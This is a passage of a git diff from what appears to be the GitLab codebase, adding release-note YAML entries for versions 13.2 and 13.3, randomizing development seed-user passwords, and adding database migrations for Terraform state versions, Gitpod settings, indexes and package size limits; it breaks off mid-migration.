+ body: We’re pleased to announce the first release of Container Host Security. This initial feature, container host monitoring and blocking, allows security administrators to secure their running containers at the host level by monitoring and optionally blocking unexpected activity. Such activity includes process starts, file changes, or opened network ports. This feature uses Falco to provide the monitoring functionality and AppArmor and Pod Security Policies for the blocking functionality.
+ stage: Defend
+ self-managed: true
+ gitlab-com: true
+ packages: [All]
+ url: https://www.youtube.com/watch?v=WxBzBz76FxU&feature=youtu.be
+ image_url: http://i3.ytimg.com/vi/WxBzBz76FxU/hqdefault.jpg
+ published_at: 2020-07-22
+ release: 13.2
+- title: Official GitLab-Figma Plugin
+ body: Recently, the GitLab product design team and our open source Pajamas Design System switched over to Figma. We decided to build a new Figma plugin, which allows for easy uploads from Figma to issues on GitLab.com. This makes it quick and easy to collaborate on Designs. Connect your design environment with your source code management in a seamless workflow.
+ stage: Create
+ self-managed: false
+ gitlab-com: true
+ packages: [All]
+ url: https://docs.gitlab.com/ee/user/project/issues/design_management.html#gitlab-figma-plugin
+ image_url: https://about.gitlab.com/images/13_2/figma-plugin.png
+ published_at: 2020-07-22
+ release: 13.2
+- title: Cluster health monitoring now available in Core
+ body: To understand system performance, your development team must monitor the health and performance of the underlying infrastructure. We want our metrics solution to be available to all GitLab users, so as part of our 2020 gift, we’ve moved cluster health in the Monitor stage from GitLab Ultimate to GitLab Core. Beginning with GitLab 13.2, all users can connect a cluster and monitor its health in the GitLab user interface.
+ stage: Monitor
+ self-managed: true
+ gitlab-com: true
+ packages: [All]
+ url: https://docs.gitlab.com/ee/user/project/clusters/#visualizing-cluster-health
+ image_url: https://about.gitlab.com/images/13_2/k8s_cluster_monitoring.png
+ published_at: 2020-07-22
+ release: 13.2
diff --git a/data/whats_new/202009150001_13_03.yml b/data/whats_new/202009150001_13_03.yml
new file mode 100644
index 00000000000..73c3dae5136
--- /dev/null
+++ b/data/whats_new/202009150001_13_03.yml
@@ -0,0 +1,41 @@
+---
+- title: Coverage-guided fuzz testing for Go and C/C++ applications
+ body: You can now run coverage-guided fuzz tests against your Go and C/C++ apps. This is a great way to start finding security issues and bugs that other security scanners and traditional QA may miss. Coverage-guided fuzz testing uses contextual information about your app to randomly generate inputs and find crashes or other faults that you can then fix before they affect users in production.
+ stage: Secure
+ self-managed: true
+ gitlab-com: true
+ packages: [Ultimate]
+ url: https://www.youtube.com/watch?v=3wdWMDRLdp4
+ image_url: http://i3.ytimg.com/vi/3wdWMDRLdp4/hqdefault.jpg
+ published_at: 2020-08-22
+ release: 13.3
+- title: Create a matrix of jobs using a simple syntax
+ body: GitLab’s child/parent pipelines let you write your own code to generate an entire pipeline YAML. This is a powerful way to generate custom behaviors, including generating jobs at runtime. This might not be needed for simpler scenarios where you just want to create multiple similar jobs for a defined set of cases. In this release you can find a new matrix keyword that works along with parallel to handle the creation of multiple jobs for you, each with different variables.
+ stage: Verify
+ self-managed: true
+ gitlab-com: true
+ packages: [All]
+ url: https://docs.gitlab.com/ee/ci/yaml/#parallel-matrix-jobs
+ image_url: https://about.gitlab.com/images/13_3/cartesian-matrix.png
+ published_at: 2020-08-22
+ release: 13.3
+- title: On-demand DAST scans
+ body: Dynamic Application Security Testing at GitLab has always been focused on integrating DAST into the DevOps pipeline and enabling developers to scan their review app, running website, or API for vulnerabilities as early as possible. However, there are times when it is necessary to run a DAST scan against an already deployed application when no code changes have been made and no Merge Request has been created. These scans could be needed for audit or compliance reasons, to debug and reproduce an issue that has been found, or to support teams who do not commit code, such as security analysts. Because of the need for DAST scans that are not triggered by a code change or MR, on-demand DAST testing is now available. You don’t need configuration files or code to start running on-demand scans. Configuration options for on-demand DAST scans are available within the GitLab UI.
+ stage: Secure
+ self-managed: true
+ gitlab-com: true
+ packages: [Ultimate]
+ url: https://docs.gitlab.com/ee/user/application_security/dast/#on-demand-scans
+ image_url: https://about.gitlab.com/images/13_3/dast_on_demand_v13_3.png
+ published_at: 2020-08-22
+ release: 13.3
+- title: SAST security analyzers available for all
+ body: We want to help developers write better code and worry less about common security mistakes. Static Application Security Testing (SAST) helps prevent security vulnerabilities by allowing developers to easily identify common security issues as code is being committed and mitigate proactively. As part of our community stewardship commitment we have made all 15 of our open source based SAST analyzers available in every GitLab tier. This allows ALL GitLab users developing in any of our 18 supported languages and frameworks to leverage GitLab SAST in their projects.
+ stage: Secure
+ self-managed: true
+ gitlab-com: true
+ packages: [All]
+ url: https://docs.gitlab.com/ee/user/application_security/sast/#making-sast-analyzers-available-to-all-gitlab-tiers
+ image_url: https://about.gitlab.com/images/13_3/sast-gitlab-languages.png
+ published_at: 2020-08-22
+ release: 13.3
diff --git a/db/fixtures/development/01_admin.rb b/db/fixtures/development/01_admin.rb
index 46b114dd07b..b4778a6ecbd 100644
--- a/db/fixtures/development/01_admin.rb
+++ b/db/fixtures/development/01_admin.rb
@@ -7,7 +7,8 @@ Gitlab::Seeder.quiet do
username: 'root',
password: '5iveL!fe',
admin: true,
- confirmed_at: DateTime.now
+ confirmed_at: DateTime.now,
+ password_expires_at: DateTime.now
)
print '.'
diff --git a/db/fixtures/development/02_users.rb b/db/fixtures/development/02_users.rb
index 909d10cbb40..7916cdd5fb1 100644
--- a/db/fixtures/development/02_users.rb
+++ b/db/fixtures/development/02_users.rb
@@ -22,7 +22,7 @@ class Gitlab::Seeder::Users
private
def create_mass_users!
- encrypted_password = Devise::Encryptor.digest(User, '12345678')
+ encrypted_password = Devise::Encryptor.digest(User, random_password)
Gitlab::Seeder.with_mass_insert(MASS_USERS_COUNT, User) do
ActiveRecord::Base.connection.execute <<~SQL
@@ -49,6 +49,10 @@ class Gitlab::Seeder::Users
FROM users WHERE NOT admin
SQL
end
+
+ puts '==========================================================='
+ puts "INFO: Password for newly created users is: #{random_password}"
+ puts '==========================================================='
end
def create_random_users!
@@ -59,7 +63,7 @@ class Gitlab::Seeder::Users
name: FFaker::Name.name,
email: FFaker::Internet.email,
confirmed_at: DateTime.now,
- password: '12345678'
+ password: random_password
)
print '.'
@@ -68,6 +72,10 @@ class Gitlab::Seeder::Users
end
end
end
+
+ def random_password
+ @random_password ||= SecureRandom.hex.slice(0,16)
+ end
end
Gitlab::Seeder.quiet do
diff --git a/db/fixtures/development/21_dev_ops_report_metrics.rb b/db/fixtures/development/21_dev_ops_report_metrics.rb
new file mode 100644
index 00000000000..8b4956da37e
--- /dev/null
+++ b/db/fixtures/development/21_dev_ops_report_metrics.rb
@@ -0,0 +1,40 @@
+Gitlab::Seeder.quiet do
+ dev_ops_report_metric = DevOpsReport::Metric.new(
+ leader_issues: 10.2,
+ instance_issues: 3.2,
+
+ leader_notes: 25.3,
+ instance_notes: 23.2,
+
+ leader_milestones: 16.2,
+ instance_milestones: 5.5,
+
+ leader_boards: 5.2,
+ instance_boards: 3.2,
+
+ leader_merge_requests: 5.2,
+ instance_merge_requests: 3.2,
+
+ leader_ci_pipelines: 25.1,
+ instance_ci_pipelines: 21.3,
+
+ leader_environments: 3.3,
+ instance_environments: 2.2,
+
+ leader_deployments: 41.3,
+ instance_deployments: 15.2,
+
+ leader_projects_prometheus_active: 0.31,
+ instance_projects_prometheus_active: 0.30,
+
+ leader_service_desk_issues: 15.8,
+ instance_service_desk_issues: 15.1
+ )
+
+ if dev_ops_report_metric.save
+ print '.'
+ else
+ puts dev_ops_report_metric.errors.full_messages
+ print 'F'
+ end
+end
diff --git a/db/fixtures/development/21_dev_ops_score_metrics.rb b/db/fixtures/development/21_dev_ops_score_metrics.rb
deleted file mode 100644
index afea7fb4bd0..00000000000
--- a/db/fixtures/development/21_dev_ops_score_metrics.rb
+++ /dev/null
@@ -1,40 +0,0 @@
-Gitlab::Seeder.quiet do
- dev_ops_score_metric = DevOpsScore::Metric.new(
- leader_issues: 10.2,
- instance_issues: 3.2,
-
- leader_notes: 25.3,
- instance_notes: 23.2,
-
- leader_milestones: 16.2,
- instance_milestones: 5.5,
-
- leader_boards: 5.2,
- instance_boards: 3.2,
-
- leader_merge_requests: 5.2,
- instance_merge_requests: 3.2,
-
- leader_ci_pipelines: 25.1,
- instance_ci_pipelines: 21.3,
-
- leader_environments: 3.3,
- instance_environments: 2.2,
-
- leader_deployments: 41.3,
- instance_deployments: 15.2,
-
- leader_projects_prometheus_active: 0.31,
- instance_projects_prometheus_active: 0.30,
-
- leader_service_desk_issues: 15.8,
- instance_service_desk_issues: 15.1
- )
-
- if dev_ops_score_metric.save
- print '.'
- else
- puts dev_ops_score_metric.errors.full_messages
- print 'F'
- end
-end
diff --git a/db/fixtures/development/26_packages.rb b/db/fixtures/development/26_packages.rb
index 6096fd8962a..2a7f80c18a3 100644
--- a/db/fixtures/development/26_packages.rb
+++ b/db/fixtures/development/26_packages.rb
@@ -21,7 +21,7 @@ class Gitlab::Seeder::Packages
.gsub('1.0.1', version))
.with_indifferent_access
- ::Packages::Npm::CreatePackageService.new(project, project.owner, params).execute
+ ::Packages::Npm::CreatePackageService.new(project, project.creator, params).execute
print '.'
end
@@ -38,7 +38,7 @@ class Gitlab::Seeder::Packages
path: "#{name}/#{version}"
}
- pkg = ::Packages::Maven::CreatePackageService.new(project, project.owner, params).execute
+ pkg = ::Packages::Maven::CreatePackageService.new(project, project.creator, params).execute
%w(maven-metadata.xml my-app-1.0-20180724.124855-1.pom my-app-1.0-20180724.124855-1.jar).each do |filename|
with_cloned_fixture_file('maven', filename) do |filepath|
@@ -68,7 +68,7 @@ class Gitlab::Seeder::Packages
package_channel: 'stable'
}
- pkg = ::Packages::Conan::CreatePackageService.new(project, project.owner, params).execute
+ pkg = ::Packages::Conan::CreatePackageService.new(project, project.creator, params).execute
fixtures = {
'recipe_files' => %w(conanfile.py conanmanifest.txt),
@@ -103,7 +103,7 @@ class Gitlab::Seeder::Packages
name = "MyNugetApp.Package#{i}"
version = "4.2.#{i}"
- pkg = ::Packages::Nuget::CreatePackageService.new(project, project.owner, {}).execute
+ pkg = ::Packages::Nuget::CreatePackageService.new(project, project.creator, {}).execute
# when using ::Packages::Nuget::CreatePackageService, packages have a fixed name and a fixed version.
pkg.update!(name: name, version: version)
diff --git a/db/fixtures/development/29_instance_statistics.rb b/db/fixtures/development/29_instance_statistics.rb
new file mode 100644
index 00000000000..c4af13d0f4d
--- /dev/null
+++ b/db/fixtures/development/29_instance_statistics.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+require './spec/support/sidekiq_middleware'
+
+Gitlab::Seeder.quiet do
+ model_class = Analytics::InstanceStatistics::Measurement
+ recorded_at = Date.today
+
+ # Insert random counts for the last 10 weeks
+ measurements = 10.times.flat_map do
+ recorded_at = (recorded_at - 1.week).end_of_week.end_of_day - 5.minutes
+
+ model_class.identifiers.map do |_, id|
+ {
+ recorded_at: recorded_at,
+ count: rand(1_000_000),
+ identifier: id
+ }
+ end
+ end
+
+ model_class.upsert_all(measurements, unique_by: [:identifier, :recorded_at])
+
+ print '.'
+end
diff --git a/db/fixtures/development/98_gitlab_instance_administration_project.rb b/db/fixtures/development/98_gitlab_instance_administration_project.rb
new file mode 100644
index 00000000000..8be707ffb08
--- /dev/null
+++ b/db/fixtures/development/98_gitlab_instance_administration_project.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+response = ::Gitlab::DatabaseImporters::SelfMonitoring::Project::CreateService.new.execute
+
+if response[:status] == :success
+ puts "Successfully created self monitoring project."
+else
+ puts "Could not create self monitoring project due to error: '#{response[:message]}'"
+ puts "Check logs for more details."
+end
diff --git a/db/fixtures/production/998_gitlab_instance_administration_project.rb b/db/fixtures/production/998_gitlab_instance_administration_project.rb
new file mode 100644
index 00000000000..8be707ffb08
--- /dev/null
+++ b/db/fixtures/production/998_gitlab_instance_administration_project.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+response = ::Gitlab::DatabaseImporters::SelfMonitoring::Project::CreateService.new.execute
+
+if response[:status] == :success
+ puts "Successfully created self monitoring project."
+else
+ puts "Could not create self monitoring project due to error: '#{response[:message]}'"
+ puts "Check logs for more details."
+end
diff --git a/db/gitlab_structure.sql b/db/gitlab_structure.sql
index 35c7a2eb14e..0d4943ccde4 100644
--- a/db/gitlab_structure.sql
+++ b/db/gitlab_structure.sql
@@ -1,4 +1,3 @@
-- this file tracks custom GitLab data, such as foreign keys referencing partitioned tables
-- more details can be found in the issue: https://gitlab.com/gitlab-org/gitlab/-/issues/201872
-SET search_path=public;
diff --git a/db/migrate/20190402150158_backport_enterprise_schema.rb b/db/migrate/20190402150158_backport_enterprise_schema.rb
index 912da09af9d..dcf84d762a3 100644
--- a/db/migrate/20190402150158_backport_enterprise_schema.rb
+++ b/db/migrate/20190402150158_backport_enterprise_schema.rb
@@ -914,7 +914,7 @@ class BackportEnterpriseSchema < ActiveRecord::Migration[5.0]
MSG
end
- raise Exception.new(message)
+ raise StandardError.new(message)
end
def create_missing_tables
diff --git a/db/migrate/20200610033228_create_terraform_state_versions.rb b/db/migrate/20200610033228_create_terraform_state_versions.rb
new file mode 100644
index 00000000000..10e9faa56ab
--- /dev/null
+++ b/db/migrate/20200610033228_create_terraform_state_versions.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+class CreateTerraformStateVersions < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ create_table :terraform_state_versions, if_not_exists: true do |t|
+ t.references :terraform_state, index: false, null: false, foreign_key: { on_delete: :cascade }
+ t.references :created_by_user, foreign_key: false
+ t.timestamps_with_timezone null: false
+ t.integer :version, null: false
+ t.integer :file_store, limit: 2, null: false
+ t.text :file, null: false
+
+ t.index [:terraform_state_id, :version], unique: true, name: 'index_terraform_state_versions_on_state_id_and_version'
+ end
+
+ add_text_limit :terraform_state_versions, :file, 255
+ end
+
+ def down
+ drop_table :terraform_state_versions
+ end
+end
diff --git a/db/migrate/20200610040615_add_versioning_enabled_to_terraform_states.rb b/db/migrate/20200610040615_add_versioning_enabled_to_terraform_states.rb
new file mode 100644
index 00000000000..51a9fd3908b
--- /dev/null
+++ b/db/migrate/20200610040615_add_versioning_enabled_to_terraform_states.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddVersioningEnabledToTerraformStates < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ add_column :terraform_states, :versioning_enabled, :boolean, null: false, default: false
+ end
+end
diff --git a/db/migrate/20200611013227_add_users_foreign_key_to_terraform_state_versions.rb b/db/migrate/20200611013227_add_users_foreign_key_to_terraform_state_versions.rb
new file mode 100644
index 00000000000..b599622c776
--- /dev/null
+++ b/db/migrate/20200611013227_add_users_foreign_key_to_terraform_state_versions.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddUsersForeignKeyToTerraformStateVersions < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_foreign_key :terraform_state_versions, :users, column: :created_by_user_id, on_delete: :nullify
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key_if_exists :terraform_state_versions, :users, column: :created_by_user_id
+ end
+ end
+end
diff --git a/db/migrate/20200629134747_add_extra_index_to_label_links.rb b/db/migrate/20200629134747_add_extra_index_to_label_links.rb
new file mode 100644
index 00000000000..e2066a1db42
--- /dev/null
+++ b/db/migrate/20200629134747_add_extra_index_to_label_links.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+class AddExtraIndexToLabelLinks < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ INDEX_COVERING_ALL_COLUMNS = 'index_on_label_links_all_columns'
+ INDEX_TO_REPLACE = 'index_label_links_on_label_id'
+ NEW_INDEX = 'index_label_links_on_label_id_and_target_type'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :label_links, [:target_id, :label_id, :target_type], name: INDEX_COVERING_ALL_COLUMNS
+
+ add_concurrent_index :label_links, [:label_id, :target_type], name: NEW_INDEX
+ remove_concurrent_index_by_name(:label_links, INDEX_TO_REPLACE)
+ end
+
+ def down
+ remove_concurrent_index_by_name(:label_links, INDEX_COVERING_ALL_COLUMNS)
+
+ add_concurrent_index(:label_links, :label_id, name: INDEX_TO_REPLACE)
+ remove_concurrent_index_by_name(:label_links, NEW_INDEX)
+ end
+end
diff --git a/db/migrate/20200710113437_add_container_registry_delete_tags_service_timeout_to_application_settings.rb b/db/migrate/20200710113437_add_container_registry_delete_tags_service_timeout_to_application_settings.rb
new file mode 100644
index 00000000000..d3865db2e18
--- /dev/null
+++ b/db/migrate/20200710113437_add_container_registry_delete_tags_service_timeout_to_application_settings.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddContainerRegistryDeleteTagsServiceTimeoutToApplicationSettings < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def up
+ add_column(
+ :application_settings,
+ :container_registry_delete_tags_service_timeout,
+ :integer,
+ default: 250,
+ null: false
+ )
+ end
+
+ def down
+ remove_column(:application_settings, :container_registry_delete_tags_service_timeout)
+ end
+end
diff --git a/db/migrate/20200805071842_add_index_on_end_date_and_namespace_id_to_gitlab_subscriptions.rb b/db/migrate/20200805071842_add_index_on_end_date_and_namespace_id_to_gitlab_subscriptions.rb
index 17b92b6b8a8..266b0a50318 100644
--- a/db/migrate/20200805071842_add_index_on_end_date_and_namespace_id_to_gitlab_subscriptions.rb
+++ b/db/migrate/20200805071842_add_index_on_end_date_and_namespace_id_to_gitlab_subscriptions.rb
@@ -12,6 +12,7 @@ class AddIndexOnEndDateAndNamespaceIdToGitlabSubscriptions < ActiveRecord::Migra
end
def down
- remove_concurrent_index :gitlab_subscriptions, [:end_date, :namespace_id]
+ remove_concurrent_index :gitlab_subscriptions, [:end_date, :namespace_id],
+ name: 'index_gitlab_subscriptions_on_end_date_and_namespace_id'
end
end
diff --git a/db/migrate/20200811154630_add_gitpod_application_settings.rb b/db/migrate/20200811154630_add_gitpod_application_settings.rb
new file mode 100644
index 00000000000..e4211d25d0b
--- /dev/null
+++ b/db/migrate/20200811154630_add_gitpod_application_settings.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class AddGitpodApplicationSettings < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ # rubocop:disable Migration/AddLimitToTextColumns
+ # limit is added in 20200727154631_add_gitpod_application_settings_text_limit
+ def change
+ add_column :application_settings, :gitpod_enabled, :boolean, default: false, null: false
+ add_column :application_settings, :gitpod_url, :text, default: 'https://gitpod.io/', null: true
+ end
+ # rubocop:enable Migration/AddLimitToTextColumns
+end
diff --git a/db/migrate/20200811154631_add_gitpod_application_settings_text_limit.rb b/db/migrate/20200811154631_add_gitpod_application_settings_text_limit.rb
new file mode 100644
index 00000000000..1f43b5d88d5
--- /dev/null
+++ b/db/migrate/20200811154631_add_gitpod_application_settings_text_limit.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class AddGitpodApplicationSettingsTextLimit < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ add_text_limit :application_settings, :gitpod_url, 255
+ end
+
+ def down
+ remove_text_limit :application_settings, :gitpod_url
+ end
+end
diff --git a/db/migrate/20200811154632_add_gitpod_user_preferences.rb b/db/migrate/20200811154632_add_gitpod_user_preferences.rb
new file mode 100644
index 00000000000..0392c80d39c
--- /dev/null
+++ b/db/migrate/20200811154632_add_gitpod_user_preferences.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddGitpodUserPreferences < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ add_column :user_preferences, :gitpod_enabled, :boolean, default: false, null: false
+ end
+end
diff --git a/db/migrate/20200812150810_add_verification_state_to_snippet_repository.rb b/db/migrate/20200812150810_add_verification_state_to_snippet_repository.rb
new file mode 100644
index 00000000000..3fdf0b4adf4
--- /dev/null
+++ b/db/migrate/20200812150810_add_verification_state_to_snippet_repository.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class AddVerificationStateToSnippetRepository < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ change_table(:snippet_repositories) do |t|
+ t.integer :verification_retry_count, limit: 2
+ t.column :verification_retry_at, :datetime_with_timezone
+ t.column :verified_at, :datetime_with_timezone
+ t.binary :verification_checksum, using: 'verification_checksum::bytea'
+
+ # rubocop:disable Migration/AddLimitToTextColumns
+ t.text :verification_failure
+ # rubocop:enable Migration/AddLimitToTextColumns
+ end
+ end
+end
diff --git a/db/migrate/20200812150811_add_verification_failure_to_snippet_repository.rb b/db/migrate/20200812150811_add_verification_failure_to_snippet_repository.rb
new file mode 100644
index 00000000000..64cd094acf0
--- /dev/null
+++ b/db/migrate/20200812150811_add_verification_failure_to_snippet_repository.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddVerificationFailureToSnippetRepository < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ CONSTRAINT_NAME = 'snippet_repositories_verification_failure_text_limit'
+
+ def up
+ add_text_limit :snippet_repositories, :verification_failure, 255, constraint_name: CONSTRAINT_NAME
+ end
+
+ def down
+ remove_check_constraint(:snippet_repositories, CONSTRAINT_NAME)
+ end
+end
diff --git a/db/migrate/20200812150812_add_verification_failure_index_to_snippet_repository.rb b/db/migrate/20200812150812_add_verification_failure_index_to_snippet_repository.rb
new file mode 100644
index 00000000000..3c1d2dc988d
--- /dev/null
+++ b/db/migrate/20200812150812_add_verification_failure_index_to_snippet_repository.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddVerificationFailureIndexToSnippetRepository < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :snippet_repositories, :verification_failure, where: "(verification_failure IS NOT NULL)", name: 'snippet_repositories_verification_failure_partial'
+ add_concurrent_index :snippet_repositories, :verification_checksum, where: "(verification_checksum IS NOT NULL)", name: 'snippet_repositories_verification_checksum_partial'
+ end
+
+ def down
+ remove_concurrent_index_by_name :snippet_repositories, 'snippet_repositories_verification_failure_partial'
+ remove_concurrent_index_by_name :snippet_repositories, 'snippet_repositories_verification_checksum_partial'
+ end
+end
diff --git a/db/migrate/20200813143356_remove_old_external_diff_migration_index.rb b/db/migrate/20200813143356_remove_old_external_diff_migration_index.rb
index 9b466f8734f..a3730247f10 100644
--- a/db/migrate/20200813143356_remove_old_external_diff_migration_index.rb
+++ b/db/migrate/20200813143356_remove_old_external_diff_migration_index.rb
@@ -18,7 +18,8 @@ class RemoveOldExternalDiffMigrationIndex < ActiveRecord::Migration[6.0]
add_concurrent_index(
:merge_request_diffs,
[:merge_request_id, :id],
- where: { stored_externally: [nil, false] }
+ where: 'NOT stored_externally OR stored_externally IS NULL',
+ name: 'index_merge_request_diffs_on_merge_request_id_and_id_partial'
)
end
end
diff --git a/db/migrate/20200818052219_add_kubernetes_version_to_cluster_providers_aws.rb b/db/migrate/20200818052219_add_kubernetes_version_to_cluster_providers_aws.rb
new file mode 100644
index 00000000000..fa3d5210e91
--- /dev/null
+++ b/db/migrate/20200818052219_add_kubernetes_version_to_cluster_providers_aws.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+# See https://docs.gitlab.com/ee/development/migration_style_guide.html
+# for more information on how to write migrations for GitLab.
+
+class AddKubernetesVersionToClusterProvidersAws < ActiveRecord::Migration[6.0]
+ # Uncomment the following include if you require helper functions:
+ include Gitlab::Database::MigrationHelpers
+
+ # Set this constant to true if this migration requires downtime.
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ unless column_exists?(:cluster_providers_aws, :kubernetes_version)
+ add_column :cluster_providers_aws, :kubernetes_version, :text, null: false, default: '1.14'
+ end
+
+ add_text_limit :cluster_providers_aws, :kubernetes_version, 30
+ end
+
+ def down
+ if column_exists?(:cluster_providers_aws, :kubernetes_version)
+ remove_column :cluster_providers_aws, :kubernetes_version
+ end
+ end
+end
diff --git a/db/migrate/20200818092401_add_checksum_to_build_chunk.rb b/db/migrate/20200818092401_add_checksum_to_build_chunk.rb
new file mode 100644
index 00000000000..c1c968571a2
--- /dev/null
+++ b/db/migrate/20200818092401_add_checksum_to_build_chunk.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddChecksumToBuildChunk < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ add_column :ci_build_trace_chunks, :checksum, :binary
+ end
+end
diff --git a/db/migrate/20200818171229_add_package_max_file_size_to_plan_limits.rb b/db/migrate/20200818171229_add_package_max_file_size_to_plan_limits.rb
new file mode 100644
index 00000000000..5343da6ed5e
--- /dev/null
+++ b/db/migrate/20200818171229_add_package_max_file_size_to_plan_limits.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class AddPackageMaxFileSizeToPlanLimits < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ add_column(:plan_limits, :conan_max_file_size, :bigint, default: 50.megabytes, null: false)
+ add_column(:plan_limits, :maven_max_file_size, :bigint, default: 50.megabytes, null: false)
+ add_column(:plan_limits, :npm_max_file_size, :bigint, default: 50.megabytes, null: false)
+ add_column(:plan_limits, :nuget_max_file_size, :bigint, default: 50.megabytes, null: false)
+ add_column(:plan_limits, :pypi_max_file_size, :bigint, default: 50.megabytes, null: false)
+ end
+end
diff --git a/db/migrate/20200819192143_add_emails_user_id_foreign_key.rb b/db/migrate/20200819192143_add_emails_user_id_foreign_key.rb
new file mode 100644
index 00000000000..7f00aa6341b
--- /dev/null
+++ b/db/migrate/20200819192143_add_emails_user_id_foreign_key.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+class AddEmailsUserIdForeignKey < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ CONSTRAINT_NAME = 'fk_emails_user_id'
+
+ def up
+ with_lock_retries do
+ add_foreign_key :emails, :users, on_delete: :cascade, validate: false, name: CONSTRAINT_NAME
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key_if_exists :emails, column: :user_id, name: CONSTRAINT_NAME
+ end
+ end
+end
diff --git a/db/migrate/20200820105408_add_index_to_container_scanning_findings.rb b/db/migrate/20200820105408_add_index_to_container_scanning_findings.rb
new file mode 100644
index 00000000000..834e11e3d6e
--- /dev/null
+++ b/db/migrate/20200820105408_add_index_to_container_scanning_findings.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+class AddIndexToContainerScanningFindings < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ INDEX_NAME = 'idx_container_scanning_findings'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index(:vulnerability_occurrences, :id,
+ where: "report_type = 2",
+ name: INDEX_NAME)
+ end
+
+ def down
+ remove_concurrent_index_by_name(:project_registry, INDEX_NAME)
+ end
+end
diff --git a/db/migrate/20200820130839_add_auto_close_incident_to_project_incident_management_settings.rb b/db/migrate/20200820130839_add_auto_close_incident_to_project_incident_management_settings.rb
new file mode 100644
index 00000000000..01aafa6d988
--- /dev/null
+++ b/db/migrate/20200820130839_add_auto_close_incident_to_project_incident_management_settings.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class AddAutoCloseIncidentToProjectIncidentManagementSettings < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def up
+ add_column :project_incident_management_settings, :auto_close_incident, :boolean, default: true, null: false
+ end
+
+ def down
+ remove_column :project_incident_management_settings, :auto_close_incident
+ end
+end
diff --git a/db/migrate/20200820204041_create_ci_platform_metrics.rb b/db/migrate/20200820204041_create_ci_platform_metrics.rb
new file mode 100644
index 00000000000..27a5a3dc8eb
--- /dev/null
+++ b/db/migrate/20200820204041_create_ci_platform_metrics.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+class CreateCiPlatformMetrics < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ CI_VARIABLES_KEY_INDEX_NAME = "index_ci_variables_on_key"
+
+ disable_ddl_transaction!
+
+ def up
+ unless table_exists?(:ci_platform_metrics)
+ create_table :ci_platform_metrics do |t|
+ t.datetime_with_timezone :recorded_at, null: false
+ t.text :platform_target, null: false
+ t.integer :count, null: false
+ end
+ end
+
+ add_text_limit :ci_platform_metrics, :platform_target, 255
+ add_concurrent_index :ci_variables, :key, name: CI_VARIABLES_KEY_INDEX_NAME
+ end
+
+ def down
+ if table_exists?(:ci_platform_metrics)
+ drop_table :ci_platform_metrics
+ end
+
+ remove_concurrent_index :ci_variables, :key, name: CI_VARIABLES_KEY_INDEX_NAME
+ end
+end
diff --git a/db/migrate/20200821034419_add_unique_index_for_generic_packages.rb b/db/migrate/20200821034419_add_unique_index_for_generic_packages.rb
new file mode 100644
index 00000000000..f0e4749bbb5
--- /dev/null
+++ b/db/migrate/20200821034419_add_unique_index_for_generic_packages.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+class AddUniqueIndexForGenericPackages < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ INDEX_NAME = 'index_packages_on_project_id_name_version_unique_when_generic'
+ PACKAGE_TYPE_GENERIC = 7
+
+ disable_ddl_transaction!
+
+ def up
